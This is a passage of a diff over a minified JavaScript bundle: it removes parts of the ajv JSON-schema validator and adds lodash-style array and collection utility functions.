) + ; + return e12; } - removeSchema(e12) { - if (e12 instanceof RegExp) - return this._removeAllSchemas(this.schemas, e12), this._removeAllSchemas(this.refs, e12), this; - switch (typeof e12) { - case "undefined": - return this._removeAllSchemas(this.schemas), this._removeAllSchemas(this.refs), this._cache.clear(), this; - case "string": { - const t10 = _6.call(this, e12); - return "object" == typeof t10 && this._cache.delete(t10.schema), delete this.schemas[e12], delete this.refs[e12], this; - } - case "object": { - const t10 = e12; - this._cache.delete(t10); - let i9 = e12[this.opts.schemaId]; - return i9 && (i9 = (0, d7.normalizeId)(i9), delete this.schemas[i9], delete this.refs[i9]), this; - } - default: - throw new Error("ajv.removeSchema: invalid parameter"); - } + function Pt(e12, t10) { + for (var i9 = null == e12 ? 0 : e12.length; i9-- && false !== t10(e12[i9], i9, e12); ) + ; + return e12; } - addVocabulary(e12) { - for (const t10 of e12) - this.addKeyword(t10); - return this; + function Ot(e12, t10) { + for (var i9 = -1, n9 = null == e12 ? 0 : e12.length; ++i9 < n9; ) + if (!t10(e12[i9], i9, e12)) + return false; + return true; } - addKeyword(e12, t10) { - let i9; - if ("string" == typeof e12) - i9 = e12, "object" == typeof t10 && (this.logger.warn("these parameters are deprecated, see docs for addKeyword"), t10.keyword = i9); - else { - if ("object" != typeof e12 || void 0 !== t10) - throw new Error("invalid addKeywords parameters"); - if (i9 = (t10 = e12).keyword, Array.isArray(i9) && !i9.length) - throw new Error("addKeywords: keyword must be string or non-empty array"); + function Tt(e12, t10) { + for (var i9 = -1, n9 = null == e12 ? 0 : e12.length, r9 = 0, o8 = []; ++i9 < n9; ) { + var s8 = e12[i9]; + t10(s8, i9, e12) && (o8[r9++] = s8); } - if (I6.call(this, i9, t10), !t10) - return (0, l7.eachItem)(i9, (e13) => E6.call(this, e13)), this; - k6.call(this, t10); - const n9 = { ...t10, type: (0, f8.getJSONTypes)(t10.type), schemaType: (0, f8.getJSONTypes)(t10.schemaType) }; - return (0, l7.eachItem)(i9, 0 === n9.type.length ? (e13) => E6.call(this, e13, n9) : (e13) => n9.type.forEach((t11) => E6.call(this, e13, n9, t11))), this; - } - getKeyword(e12) { - const t10 = this.RULES.all[e12]; - return "object" == typeof t10 ? t10.definition : !!t10; + return o8; } - removeKeyword(e12) { - const { RULES: t10 } = this; - delete t10.keywords[e12], delete t10.all[e12]; - for (const i9 of t10.rules) { - const t11 = i9.rules.findIndex((t12) => t12.keyword === e12); - t11 >= 0 && i9.rules.splice(t11, 1); - } - return this; + function At(e12, t10) { + return !(null == e12 || !e12.length) && Nt(e12, t10, 0) > -1; } - addFormat(e12, t10) { - return "string" == typeof t10 && (t10 = new RegExp(t10)), this.formats[e12] = t10, this; + function It(e12, t10, i9) { + for (var n9 = -1, r9 = null == e12 ? 0 : e12.length; ++n9 < r9; ) + if (i9(t10, e12[n9])) + return true; + return false; } - errorsText(e12 = this.errors, { separator: t10 = ", ", dataVar: i9 = "data" } = {}) { - return e12 && 0 !== e12.length ? e12.map((e13) => `${i9}${e13.instancePath} ${e13.message}`).reduce((e13, i10) => e13 + t10 + i10) : "No errors"; + function Et(e12, t10) { + for (var i9 = -1, n9 = null == e12 ? 0 : e12.length, r9 = Array(n9); ++i9 < n9; ) + r9[i9] = t10(e12[i9], i9, e12); + return r9; } - $dataMetaSchema(e12, t10) { - const i9 = this.RULES.all; - e12 = JSON.parse(JSON.stringify(e12)); - for (const n9 of t10) { - const t11 = n9.split("/").slice(1); - let r9 = e12; - for (const e13 of t11) - r9 = r9[e13]; - for (const e13 in i9) { - const t12 = i9[e13]; - if ("object" != typeof t12) - continue; - const { $data: n10 } = t12.definition, o8 = r9[e13]; - n10 && o8 && (r9[e13] = R6(o8)); - } - } + function qt(e12, t10) { + for (var i9 = -1, n9 = t10.length, r9 = e12.length; ++i9 < n9; ) + e12[r9 + i9] = t10[i9]; return e12; } - _removeAllSchemas(e12, t10) { - for (const i9 in e12) { - const n9 = e12[i9]; - t10 && !t10.test(i9) || ("string" == typeof n9 ? delete e12[i9] : n9 && !n9.meta && (this._cache.delete(n9.schema), delete e12[i9])); - } + function kt(e12, t10, i9, n9) { + var r9 = -1, o8 = null == e12 ? 0 : e12.length; + for (n9 && o8 && (i9 = e12[++r9]); ++r9 < o8; ) + i9 = t10(i9, e12[r9], r9, e12); + return i9; } - _addSchema(e12, t10, i9, n9 = this.opts.validateSchema, r9 = this.opts.addUsedSchema) { - let o8; - const { schemaId: s8 } = this.opts; - if ("object" == typeof e12) - o8 = e12[s8]; - else { - if (this.opts.jtd) - throw new Error("schema must be object"); - if ("boolean" != typeof e12) - throw new Error("schema must be object or boolean"); - } - let a8 = this._cache.get(e12); - if (void 0 !== a8) - return a8; - i9 = (0, d7.normalizeId)(o8 || i9); - const c8 = d7.getSchemaRefs.call(this, e12, i9); - return a8 = new p7.SchemaEnv({ schema: e12, schemaId: s8, meta: t10, baseId: i9, localRefs: c8 }), this._cache.set(a8.schema, a8), r9 && !i9.startsWith("#") && (i9 && this._checkUnique(i9), this.refs[i9] = a8), n9 && this.validateSchema(e12, true), a8; + function Mt(e12, t10, i9, n9) { + var r9 = null == e12 ? 0 : e12.length; + for (n9 && r9 && (i9 = e12[--r9]); r9--; ) + i9 = t10(i9, e12[r9], r9, e12); + return i9; } - _checkUnique(e12) { - if (this.schemas[e12] || this.refs[e12]) - throw new Error(`schema with key or id "${e12}" already exists`); + function Rt(e12, t10) { + for (var i9 = -1, n9 = null == e12 ? 0 : e12.length; ++i9 < n9; ) + if (t10(e12[i9], i9, e12)) + return true; + return false; } - _compileSchemaEnv(e12) { - if (e12.meta ? this._compileMetaSchema(e12) : p7.compileSchema.call(this, e12), !e12.validate) - throw new Error("ajv implementation error"); - return e12.validate; + var Dt = zt("length"); + function Ct(e12, t10, i9) { + var n9; + return i9(e12, function(e13, i10, r9) { + if (t10(e13, i10, r9)) + return n9 = i10, false; + }), n9; } - _compileMetaSchema(e12) { - const t10 = this.opts; - this.opts = this._metaOpts; - try { - p7.compileSchema.call(this, e12); - } finally { - this.opts = t10; - } + function Vt(e12, t10, i9, n9) { + for (var r9 = e12.length, o8 = i9 + (n9 ? 1 : -1); n9 ? o8-- : ++o8 < r9; ) + if (t10(e12[o8], o8, e12)) + return o8; + return -1; } - } - function x7(e12, t10, i9, n9 = "error") { - for (const r9 in e12) { - const o8 = r9; - o8 in t10 && this.logger[n9](`${i9}: option ${r9}. ${e12[o8]}`); + function Nt(e12, t10, i9) { + return t10 == t10 ? function(e13, t11, i10) { + for (var n9 = i10 - 1, r9 = e13.length; ++n9 < r9; ) + if (e13[n9] === t11) + return n9; + return -1; + }(e12, t10, i9) : Vt(e12, Ut, i9); } - } - function _6(e12) { - return e12 = (0, d7.normalizeId)(e12), this.schemas[e12] || this.refs[e12]; - } - function w6() { - const e12 = this.opts.schemas; - if (e12) - if (Array.isArray(e12)) - this.addSchema(e12); - else - for (const t10 in e12) - this.addSchema(e12[t10], t10); - } - function S6() { - for (const e12 in this.opts.formats) { - const t10 = this.opts.formats[e12]; - t10 && this.addFormat(e12, t10); + function Ft(e12, t10, i9, n9) { + for (var r9 = i9 - 1, o8 = e12.length; ++r9 < o8; ) + if (n9(e12[r9], t10)) + return r9; + return -1; } - } - function P6(e12) { - if (Array.isArray(e12)) - this.addVocabulary(e12); - else { - this.logger.warn("keywords option as map is deprecated, pass array"); - for (const t10 in e12) { - const i9 = e12[t10]; - i9.keyword || (i9.keyword = t10), this.addKeyword(i9); - } + function Ut(e12) { + return e12 != e12; } - } - function O7() { - const e12 = { ...this.opts }; - for (const t10 of y7) - delete e12[t10]; - return e12; - } - $5.ValidationError = o7.default, $5.MissingRefError = s7.default, t9.default = $5; - const T6 = { log() { - }, warn() { - }, error() { - } }, A6 = /^[a-z_$][a-z0-9_$:-]*$/i; - function I6(e12, t10) { - const { RULES: i9 } = this; - if ((0, l7.eachItem)(e12, (e13) => { - if (i9.keywords[e13]) - throw new Error(`Keyword ${e13} is already defined`); - if (!A6.test(e13)) - throw new Error(`Keyword ${e13} has invalid name`); - }), t10 && t10.$data && !("code" in t10) && !("validate" in t10)) - throw new Error('$data keyword must have "code" or "validate" function'); - } - function E6(e12, t10, i9) { - var n9; - const r9 = null == t10 ? void 0 : t10.post; - if (i9 && r9) - throw new Error('keyword with "post" flag cannot have "type"'); - const { RULES: o8 } = this; - let s8 = r9 ? o8.post : o8.rules.find(({ type: e13 }) => e13 === i9); - if (s8 || (s8 = { type: i9, rules: [] }, o8.rules.push(s8)), o8.keywords[e12] = true, !t10) - return; - const a8 = { keyword: e12, definition: { ...t10, type: (0, f8.getJSONTypes)(t10.type), schemaType: (0, f8.getJSONTypes)(t10.schemaType) } }; - t10.before ? q5.call(this, s8, a8, t10.before) : s8.rules.push(a8), o8.all[e12] = a8, null === (n9 = t10.implements) || void 0 === n9 || n9.forEach((e13) => this.addKeyword(e13)); - } - function q5(e12, t10, i9) { - const n9 = e12.rules.findIndex((e13) => e13.keyword === i9); - n9 >= 0 ? e12.rules.splice(n9, 0, t10) : (e12.rules.push(t10), this.logger.warn(`rule ${i9} is not defined`)); - } - function k6(e12) { - let { metaSchema: t10 } = e12; - void 0 !== t10 && (e12.$data && this.opts.$data && (t10 = R6(t10)), e12.validateSchema = this.compile(t10, true)); - } - const M6 = { $ref: "https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#" }; - function R6(e12) { - return { anyOf: [e12, M6] }; - } - }, 92905: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(19065), r8 = i8(32289), o7 = i8(14513), s7 = i8(56703), a7 = i8(18699), p7 = i8(42992), c7 = i8(81275), d7 = ["/properties"]; - t9.default = function(e12) { - return [n8, r8, o7, s7, t10(this, a7), p7, t10(this, c7)].forEach((e13) => this.addMetaSchema(e13, void 0, false)), this; - function t10(t11, i9) { - return e12 ? t11.$dataMetaSchema(i9, d7) : i9; + function Lt(e12, t10) { + var i9 = null == e12 ? 0 : e12.length; + return i9 ? Kt(e12, t10) / i9 : l7; } - }; - }, 43685: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(46261), r8 = i8(90013), o7 = i8(47388), s7 = i8(60013), a7 = i8(64771), p7 = i8(9567), c7 = i8(68364), d7 = i8(42943), f8 = ["/properties"]; - t9.default = function(e12) { - return [n8, r8, o7, s7, a7, t10(this, p7), c7, t10(this, d7)].forEach((e13) => this.addMetaSchema(e13, void 0, false)), this; - function t10(t11, i9) { - return e12 ? t11.$dataMetaSchema(i9, f8) : i9; + function zt(e12) { + return function(t10) { + return null == t10 ? r8 : t10[e12]; + }; } - }; - }, 72725: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(38792); - n8.code = 'require("ajv/dist/runtime/equal").default', t9.default = n8; - }, 26308: (e11, t9) => { - "use strict"; - function i8(e12) { - const t10 = e12.length; - let i9, n8 = 0, r8 = 0; - for (; r8 < t10; ) - n8++, i9 = e12.charCodeAt(r8++), i9 >= 55296 && i9 <= 56319 && r8 < t10 && (i9 = e12.charCodeAt(r8), 56320 == (64512 & i9) && r8++); - return n8; - } - Object.defineProperty(t9, "__esModule", { value: true }), t9.default = i8, i8.code = 'require("ajv/dist/runtime/ucs2length").default'; - }, 7903: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(84800); - n8.code = 'require("ajv/dist/runtime/uri").default', t9.default = n8; - }, 95031: (e11, t9) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - class i8 extends Error { - constructor(e12) { - super("validation failed"), this.errors = e12, this.ajv = this.validation = true; - } - } - t9.default = i8; - }, 93426: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.validateAdditionalItems = void 0; - const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "additionalItems", type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", error: { message: ({ params: { len: e12 } }) => n8.str`must NOT have more than ${e12} items`, params: ({ params: { len: e12 } }) => n8._`{limit: ${e12}}` }, code(e12) { - const { parentSchema: t10, it: i9 } = e12, { items: n9 } = t10; - Array.isArray(n9) ? s7(e12, n9) : (0, r8.checkStrictMode)(i9, '"additionalItems" is ignored when "items" is not an array of schemas'); - } }; - function s7(e12, t10) { - const { gen: i9, schema: o8, data: s8, keyword: a7, it: p7 } = e12; - p7.items = true; - const c7 = i9.const("len", n8._`${s8}.length`); - if (false === o8) - e12.setParams({ len: t10.length }), e12.pass(n8._`${c7} <= ${t10.length}`); - else if ("object" == typeof o8 && !(0, r8.alwaysValidSchema)(p7, o8)) { - const o9 = i9.var("valid", n8._`${c7} <= ${t10.length}`); - i9.if((0, n8.not)(o9), () => function(o10) { - i9.forRange("i", t10.length, c7, (t11) => { - e12.subschema({ keyword: a7, dataProp: t11, dataPropType: r8.Type.Num }, o10), p7.allErrors || i9.if((0, n8.not)(o10), () => i9.break()); - }); - }(o9)), e12.ok(o9); + function Bt(e12) { + return function(t10) { + return null == e12 ? r8 : e12[t10]; + }; } - } - t9.validateAdditionalItems = s7, t9.default = o7; - }, 92697: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(94450), r8 = i8(17898), o7 = i8(63036), s7 = i8(50458), a7 = { keyword: "additionalProperties", type: ["object"], schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, error: { message: "must NOT have additional properties", params: ({ params: e12 }) => r8._`{additionalProperty: ${e12.additionalProperty}}` }, code(e12) { - const { gen: t10, schema: i9, parentSchema: a8, data: p7, errsCount: c7, it: d7 } = e12; - if (!c7) - throw new Error("ajv implementation error"); - const { allErrors: f8, opts: l7 } = d7; - if (d7.props = true, "all" !== l7.removeAdditional && (0, s7.alwaysValidSchema)(d7, i9)) - return; - const u7 = (0, n8.allSchemaProperties)(a8.properties), m7 = (0, n8.allSchemaProperties)(a8.patternProperties); - function h8(e13) { - t10.code(r8._`delete ${p7}[${e13}]`); + function Qt(e12, t10, i9, n9, r9) { + return r9(e12, function(e13, r10, o8) { + i9 = n9 ? (n9 = false, e13) : t10(i9, e13, r10, o8); + }), i9; } - function y7(n9) { - if ("all" === l7.removeAdditional || l7.removeAdditional && false === i9) - h8(n9); - else { - if (false === i9) - return e12.setParams({ additionalProperty: n9 }), e12.error(), void (f8 || t10.break()); - if ("object" == typeof i9 && !(0, s7.alwaysValidSchema)(d7, i9)) { - const i10 = t10.name("valid"); - "failing" === l7.removeAdditional ? (g7(n9, i10, false), t10.if((0, r8.not)(i10), () => { - e12.reset(), h8(n9); - })) : (g7(n9, i10), f8 || t10.if((0, r8.not)(i10), () => t10.break())); - } + function Kt(e12, t10) { + for (var i9, n9 = -1, o8 = e12.length; ++n9 < o8; ) { + var s8 = t10(e12[n9]); + s8 !== r8 && (i9 = i9 === r8 ? s8 : i9 + s8); } + return i9; } - function g7(t11, i10, n9) { - const r9 = { keyword: "additionalProperties", dataProp: t11, dataPropType: s7.Type.Str }; - false === n9 && Object.assign(r9, { compositeRule: true, createErrors: false, allErrors: false }), e12.subschema(r9, i10); + function Ht(e12, t10) { + for (var i9 = -1, n9 = Array(e12); ++i9 < e12; ) + n9[i9] = t10(i9); + return n9; } - t10.forIn("key", p7, (i10) => { - u7.length || m7.length ? t10.if(function(i11) { - let o8; - if (u7.length > 8) { - const e13 = (0, s7.schemaRefOrVal)(d7, a8.properties, "properties"); - o8 = (0, n8.isOwnProperty)(t10, e13, i11); - } else - o8 = u7.length ? (0, r8.or)(...u7.map((e13) => r8._`${i11} === ${e13}`)) : r8.nil; - return m7.length && (o8 = (0, r8.or)(o8, ...m7.map((t11) => r8._`${(0, n8.usePattern)(e12, t11)}.test(${i11})`))), (0, r8.not)(o8); - }(i10), () => y7(i10)) : y7(i10); - }), e12.ok(r8._`${c7} === ${o7.default.errors}`); - } }; - t9.default = a7; - }, 79355: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(50458), r8 = { keyword: "allOf", schemaType: "array", code(e12) { - const { gen: t10, schema: i9, it: r9 } = e12; - if (!Array.isArray(i9)) - throw new Error("ajv implementation error"); - const o7 = t10.name("valid"); - i9.forEach((t11, i10) => { - if ((0, n8.alwaysValidSchema)(r9, t11)) - return; - const s7 = e12.subschema({ keyword: "allOf", schemaProp: i10 }, o7); - e12.ok(o7), e12.mergeEvaluated(s7); - }); - } }; - t9.default = r8; - }, 19430: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = { keyword: "anyOf", schemaType: "array", trackErrors: true, code: i8(94450).validateUnion, error: { message: "must match a schema in anyOf" } }; - t9.default = n8; - }, 35724: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "contains", type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, error: { message: ({ params: { min: e12, max: t10 } }) => void 0 === t10 ? n8.str`must contain at least ${e12} valid item(s)` : n8.str`must contain at least ${e12} and no more than ${t10} valid item(s)`, params: ({ params: { min: e12, max: t10 } }) => void 0 === t10 ? n8._`{minContains: ${e12}}` : n8._`{minContains: ${e12}, maxContains: ${t10}}` }, code(e12) { - const { gen: t10, schema: i9, parentSchema: o8, data: s7, it: a7 } = e12; - let p7, c7; - const { minContains: d7, maxContains: f8 } = o8; - a7.opts.next ? (p7 = void 0 === d7 ? 1 : d7, c7 = f8) : p7 = 1; - const l7 = t10.const("len", n8._`${s7}.length`); - if (e12.setParams({ min: p7, max: c7 }), void 0 === c7 && 0 === p7) - return void (0, r8.checkStrictMode)(a7, '"minContains" == 0 without "maxContains": "contains" keyword ignored'); - if (void 0 !== c7 && p7 > c7) - return (0, r8.checkStrictMode)(a7, '"minContains" > "maxContains" is always invalid'), void e12.fail(); - if ((0, r8.alwaysValidSchema)(a7, i9)) { - let t11 = n8._`${l7} >= ${p7}`; - return void 0 !== c7 && (t11 = n8._`${t11} && ${l7} <= ${c7}`), void e12.pass(t11); + function Gt(e12) { + return e12 ? e12.slice(0, fi(e12) + 1).replace(ne4, "") : e12; } - a7.items = true; - const u7 = t10.name("valid"); - function m7() { - const e13 = t10.name("_valid"), i10 = t10.let("count", 0); - h8(e13, () => t10.if(e13, () => function(e14) { - t10.code(n8._`${e14}++`), void 0 === c7 ? t10.if(n8._`${e14} >= ${p7}`, () => t10.assign(u7, true).break()) : (t10.if(n8._`${e14} > ${c7}`, () => t10.assign(u7, false).break()), 1 === p7 ? t10.assign(u7, true) : t10.if(n8._`${e14} >= ${p7}`, () => t10.assign(u7, true))); - }(i10))); + function Wt(e12) { + return function(t10) { + return e12(t10); + }; } - function h8(i10, n9) { - t10.forRange("i", 0, l7, (t11) => { - e12.subschema({ keyword: "contains", dataProp: t11, dataPropType: r8.Type.Num, compositeRule: true }, i10), n9(); + function Jt(e12, t10) { + return Et(t10, function(t11) { + return e12[t11]; }); } - void 0 === c7 && 1 === p7 ? h8(u7, () => t10.if(u7, () => t10.break())) : 0 === p7 ? (t10.let(u7, true), void 0 !== c7 && t10.if(n8._`${s7}.length > 0`, m7)) : (t10.let(u7, false), m7()), e12.result(u7, () => e12.reset()); - } }; - t9.default = o7; - }, 99868: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.validateSchemaDeps = t9.validatePropertyDeps = t9.error = void 0; - const n8 = i8(17898), r8 = i8(50458), o7 = i8(94450); - t9.error = { message: ({ params: { property: e12, depsCount: t10, deps: i9 } }) => { - const r9 = 1 === t10 ? "property" : "properties"; - return n8.str`must have ${r9} ${i9} when property ${e12} is present`; - }, params: ({ params: { property: e12, depsCount: t10, deps: i9, missingProperty: r9 } }) => n8._`{property: ${e12}, - missingProperty: ${r9}, - depsCount: ${t10}, - deps: ${i9}}` }; - const s7 = { keyword: "dependencies", type: "object", schemaType: "object", error: t9.error, code(e12) { - const [t10, i9] = function({ schema: e13 }) { - const t11 = {}, i10 = {}; - for (const n9 in e13) - "__proto__" !== n9 && ((Array.isArray(e13[n9]) ? t11 : i10)[n9] = e13[n9]); - return [t11, i10]; - }(e12); - a7(e12, t10), p7(e12, i9); - } }; - function a7(e12, t10 = e12.schema) { - const { gen: i9, data: r9, it: s8 } = e12; - if (0 === Object.keys(t10).length) - return; - const a8 = i9.let("missing"); - for (const p8 in t10) { - const c7 = t10[p8]; - if (0 === c7.length) - continue; - const d7 = (0, o7.propertyInData)(i9, r9, p8, s8.opts.ownProperties); - e12.setParams({ property: p8, depsCount: c7.length, deps: c7.join(", ") }), s8.allErrors ? i9.if(d7, () => { - for (const t11 of c7) - (0, o7.checkReportMissingProp)(e12, t11); - }) : (i9.if(n8._`${d7} && (${(0, o7.checkMissingProp)(e12, c7, a8)})`), (0, o7.reportMissingProp)(e12, a8), i9.else()); - } - } - function p7(e12, t10 = e12.schema) { - const { gen: i9, data: n9, keyword: s8, it: a8 } = e12, p8 = i9.name("valid"); - for (const c7 in t10) - (0, r8.alwaysValidSchema)(a8, t10[c7]) || (i9.if((0, o7.propertyInData)(i9, n9, c7, a8.opts.ownProperties), () => { - const t11 = e12.subschema({ keyword: s8, schemaProp: c7 }, p8); - e12.mergeValidEvaluated(t11, p8); - }, () => i9.var(p8, true)), e12.ok(p8)); - } - t9.validatePropertyDeps = a7, t9.validateSchemaDeps = p7, t9.default = s7; - }, 90776: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(99868), r8 = { keyword: "dependentSchemas", type: "object", schemaType: "object", code: (e12) => (0, n8.validateSchemaDeps)(e12) }; - t9.default = r8; - }, 70510: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, error: { message: ({ params: e12 }) => n8.str`must match "${e12.ifClause}" schema`, params: ({ params: e12 }) => n8._`{failingKeyword: ${e12.ifClause}}` }, code(e12) { - const { gen: t10, parentSchema: i9, it: o8 } = e12; - void 0 === i9.then && void 0 === i9.else && (0, r8.checkStrictMode)(o8, '"if" without "then" and "else" is ignored'); - const a7 = s7(o8, "then"), p7 = s7(o8, "else"); - if (!a7 && !p7) - return; - const c7 = t10.let("valid", true), d7 = t10.name("_valid"); - if (function() { - const t11 = e12.subschema({ keyword: "if", compositeRule: true, createErrors: false, allErrors: false }, d7); - e12.mergeEvaluated(t11); - }(), e12.reset(), a7 && p7) { - const i10 = t10.let("ifClause"); - e12.setParams({ ifClause: i10 }), t10.if(d7, f8("then", i10), f8("else", i10)); - } else - a7 ? t10.if(d7, f8("then")) : t10.if((0, n8.not)(d7), f8("else")); - function f8(i10, r9) { - return () => { - const o9 = e12.subschema({ keyword: i10 }, d7); - t10.assign(c7, d7), e12.mergeValidEvaluated(o9, c7), r9 ? t10.assign(r9, n8._`${i10}`) : e12.setParams({ ifClause: i10 }); - }; + function Zt(e12, t10) { + return e12.has(t10); } - e12.pass(c7, () => e12.error(true)); - } }; - function s7(e12, t10) { - const i9 = e12.schema[t10]; - return void 0 !== i9 && !(0, r8.alwaysValidSchema)(e12, i9); - } - t9.default = o7; - }, 18225: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(93426), r8 = i8(61349), o7 = i8(44153), s7 = i8(19753), a7 = i8(35724), p7 = i8(99868), c7 = i8(67486), d7 = i8(92697), f8 = i8(19660), l7 = i8(98422), u7 = i8(65532), m7 = i8(19430), h8 = i8(98768), y7 = i8(79355), g7 = i8(70510), b8 = i8(45255); - t9.default = function(e12 = false) { - const t10 = [u7.default, m7.default, h8.default, y7.default, g7.default, b8.default, c7.default, d7.default, p7.default, f8.default, l7.default]; - return e12 ? t10.push(r8.default, s7.default) : t10.push(n8.default, o7.default), t10.push(a7.default), t10; - }; - }, 44153: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.validateTuple = void 0; - const n8 = i8(17898), r8 = i8(50458), o7 = i8(94450), s7 = { keyword: "items", type: "array", schemaType: ["object", "array", "boolean"], before: "uniqueItems", code(e12) { - const { schema: t10, it: i9 } = e12; - if (Array.isArray(t10)) - return a7(e12, "additionalItems", t10); - i9.items = true, (0, r8.alwaysValidSchema)(i9, t10) || e12.ok((0, o7.validateArray)(e12)); - } }; - function a7(e12, t10, i9 = e12.schema) { - const { gen: o8, parentSchema: s8, data: a8, keyword: p7, it: c7 } = e12; - !function(e13) { - const { opts: n9, errSchemaPath: o9 } = c7, s9 = i9.length, a9 = s9 === e13.minItems && (s9 === e13.maxItems || false === e13[t10]); - if (n9.strictTuples && !a9) { - const e14 = `"${p7}" is ${s9}-tuple, but minItems or maxItems/${t10} are not specified or different at path "${o9}"`; - (0, r8.checkStrictMode)(c7, e14, n9.strictTuples); - } - }(s8), c7.opts.unevaluated && i9.length && true !== c7.items && (c7.items = r8.mergeEvaluated.items(o8, i9.length, c7.items)); - const d7 = o8.name("valid"), f8 = o8.const("len", n8._`${a8}.length`); - i9.forEach((t11, i10) => { - (0, r8.alwaysValidSchema)(c7, t11) || (o8.if(n8._`${f8} > ${i10}`, () => e12.subschema({ keyword: p7, schemaProp: i10, dataProp: i10 }, d7)), e12.ok(d7)); - }); - } - t9.validateTuple = a7, t9.default = s7; - }, 19753: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = i8(94450), s7 = i8(93426), a7 = { keyword: "items", type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", error: { message: ({ params: { len: e12 } }) => n8.str`must NOT have more than ${e12} items`, params: ({ params: { len: e12 } }) => n8._`{limit: ${e12}}` }, code(e12) { - const { schema: t10, parentSchema: i9, it: n9 } = e12, { prefixItems: a8 } = i9; - n9.items = true, (0, r8.alwaysValidSchema)(n9, t10) || (a8 ? (0, s7.validateAdditionalItems)(e12, a8) : e12.ok((0, o7.validateArray)(e12))); - } }; - t9.default = a7; - }, 65532: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(50458), r8 = { keyword: "not", schemaType: ["object", "boolean"], trackErrors: true, code(e12) { - const { gen: t10, schema: i9, it: r9 } = e12; - if ((0, n8.alwaysValidSchema)(r9, i9)) - return void e12.fail(); - const o7 = t10.name("valid"); - e12.subschema({ keyword: "not", compositeRule: true, createErrors: false, allErrors: false }, o7), e12.failResult(o7, () => e12.reset(), () => e12.error()); - }, error: { message: "must NOT be valid" } }; - t9.default = r8; - }, 98768: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = i8(50458), o7 = { keyword: "oneOf", schemaType: "array", trackErrors: true, error: { message: "must match exactly one schema in oneOf", params: ({ params: e12 }) => n8._`{passingSchemas: ${e12.passing}}` }, code(e12) { - const { gen: t10, schema: i9, parentSchema: o8, it: s7 } = e12; - if (!Array.isArray(i9)) - throw new Error("ajv implementation error"); - if (s7.opts.discriminator && o8.discriminator) - return; - const a7 = i9, p7 = t10.let("valid", false), c7 = t10.let("passing", null), d7 = t10.name("_valid"); - e12.setParams({ passing: c7 }), t10.block(function() { - a7.forEach((i10, o9) => { - let a8; - (0, r8.alwaysValidSchema)(s7, i10) ? t10.var(d7, true) : a8 = e12.subschema({ keyword: "oneOf", schemaProp: o9, compositeRule: true }, d7), o9 > 0 && t10.if(n8._`${d7} && ${p7}`).assign(p7, false).assign(c7, n8._`[${c7}, ${o9}]`).else(), t10.if(d7, () => { - t10.assign(p7, true), t10.assign(c7, o9), a8 && e12.mergeEvaluated(a8, n8.Name); - }); - }); - }), e12.result(p7, () => e12.reset(), () => e12.error(true)); - } }; - t9.default = o7; - }, 98422: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(94450), r8 = i8(17898), o7 = i8(50458), s7 = i8(50458), a7 = { keyword: "patternProperties", type: "object", schemaType: "object", code(e12) { - const { gen: t10, schema: i9, data: a8, parentSchema: p7, it: c7 } = e12, { opts: d7 } = c7, f8 = (0, n8.allSchemaProperties)(i9), l7 = f8.filter((e13) => (0, o7.alwaysValidSchema)(c7, i9[e13])); - if (0 === f8.length || l7.length === f8.length && (!c7.opts.unevaluated || true === c7.props)) - return; - const u7 = d7.strictSchema && !d7.allowMatchingProperties && p7.properties, m7 = t10.name("valid"); - true === c7.props || c7.props instanceof r8.Name || (c7.props = (0, s7.evaluatedPropsToName)(t10, c7.props)); - const { props: h8 } = c7; - function y7(e13) { - for (const t11 in u7) - new RegExp(e13).test(t11) && (0, o7.checkStrictMode)(c7, `property ${t11} matches pattern ${e13} (use allowMatchingProperties)`); + function Yt(e12, t10) { + for (var i9 = -1, n9 = e12.length; ++i9 < n9 && Nt(t10, e12[i9], 0) > -1; ) + ; + return i9; } - function g7(i10) { - t10.forIn("key", a8, (o8) => { - t10.if(r8._`${(0, n8.usePattern)(e12, i10)}.test(${o8})`, () => { - const n9 = l7.includes(i10); - n9 || e12.subschema({ keyword: "patternProperties", schemaProp: i10, dataProp: o8, dataPropType: s7.Type.Str }, m7), c7.opts.unevaluated && true !== h8 ? t10.assign(r8._`${h8}[${o8}]`, true) : n9 || c7.allErrors || t10.if((0, r8.not)(m7), () => t10.break()); - }); - }); + function Xt(e12, t10) { + for (var i9 = e12.length; i9-- && Nt(t10, e12[i9], 0) > -1; ) + ; + return i9; } - !function() { - for (const e13 of f8) - u7 && y7(e13), 